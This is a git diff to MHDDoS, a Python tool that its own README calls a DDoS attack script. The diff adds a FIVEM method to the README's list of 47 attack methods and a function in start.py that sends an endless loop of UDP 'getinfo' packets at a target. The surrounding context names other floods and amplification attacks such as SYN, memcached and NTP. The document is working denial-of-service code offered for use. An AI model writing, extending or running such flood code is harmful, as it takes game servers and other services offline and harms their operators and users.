diff --git a/README.md b/README.md index b13f71d0c..d71301314 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@

aventium softworks

-

MHDDoS - DDoS Attack Script With 46 Methods

+

MHDDoS - DDoS Attack Script With 47 Methods

(Programming Language - Python 3)

@@ -49,7 +49,8 @@ * syn SYN | SYN Flood * cps CPS | Open and close connections with proxy * cps CONNECTION | Open connection alive with proxy - * vse VSE | Send VSE Protocol + * vse VSE | Send Source Engine Protocol + * vse FIVEM | Send Fivem Status Ping Protocol * mem MEM | Memcached Amplification * ntp NTP | NTP Amplification * mcbot MCBOT | Minecraft Bot Attack diff --git a/start.py b/start.py index 67049fa08..c246e4443 100644 --- a/start.py +++ b/start.py @@ -84,7 +84,7 @@ class Methods: LAYER4_METHODS: Set[str] = { "TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MEM", "NTP", "DNS", "ARD", - "CHAR", "RDP", "MCBOT", "CONNECTION", "CPS" + "CHAR", "RDP", "MCBOT", "CONNECTION", "CPS", "FIVEM" } ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS} @@ -291,6 +291,7 @@ def select(self, name): if name == "UDP": self.SENT_FLOOD = self.UDP if name == "SYN": self.SENT_FLOOD = self.SYN if name == "VSE": self.SENT_FLOOD = self.VSE + if name == "FIVEM": self.SENT_FLOOD = self.FIVEM if name == "MINECRAFT": self.SENT_FLOOD = self.MINECRAFT if name == "CPS": self.SENT_FLOOD = self.CPS if name == "CONNECTION": self.SENT_FLOOD = self.CONNECTION @@ -417,6 +418,14 @@ def VSE(self) -> None: continue Tools.safe_close(s) + def FIVEM(self) -> None: + global BYTES_SEND, REQUESTS_SENT + payload = b'\xff\xff\xff\xffgetinfo xxx\x00\x00\x00' + with socket(AF_INET, SOCK_DGRAM) as s: + while Tools.sendto(s, payload, self._target): + continue + Tools.safe_close(s) + def _genrate_syn(self) -> bytes: ip: IP = IP() ip.set_ip_src(getMyIPAddress())